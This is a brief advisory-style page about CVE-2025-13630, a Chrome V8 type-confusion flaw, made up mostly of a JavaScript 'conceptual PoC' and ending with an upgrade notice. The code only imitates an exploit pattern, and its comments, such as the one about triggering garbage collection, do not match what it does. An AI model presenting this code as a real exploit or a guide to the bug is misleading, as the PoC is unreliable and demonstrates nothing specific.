CVE-2025-13630: Google Chrome V8类型混淆远程代码执行漏洞

// CVE-2025-13630 PoC - V8 Type Confusion // This is a conceptual PoC demonstrating the type confusion attack pattern // Actual exploitation requires specific V8 version and environment function triggerTypeConfusion() { // Create initial object with specific type let obj = { x: 1.1, y: 2.2 }; // Force V8 to optimize this pattern for (let i = 0; i < 10000; i++) { obj.x = i; } // Type confusion trigger - modify object's hidden class // This pattern may cause V8 to misoptimize type assumptions obj.z = 3.3; // Use polymorphic behavior to trigger confusion function confuse(a, b) { return a.x + b.y; } // Trigger with different types confuse(obj, { x: 'string', y: 2.2 }); confuse(obj, [1, 2, 3]); // Force deoptimization confuse(obj, { x: Symbol(), y: 2.2 }); return obj; } // Heap corruption trigger function triggerHeapCorruption() { const buffer = new ArrayBuffer(0x1000); const view = new Float64Array(buffer); // Create objects that may share memory regions let objects = []; for (let i = 0; i < 100; i++) { objects.push({ value: i }); } // Trigger GC to create heap layout suitable for corruption triggerTypeConfusion(); return view; } // Execute try { triggerTypeConfusion(); triggerHeapCorruption(); } catch (e) { console.log('Error: ' + e.message); } console.log('PoC executed - upgrade Chrome to 143.0.7499.41 or later');
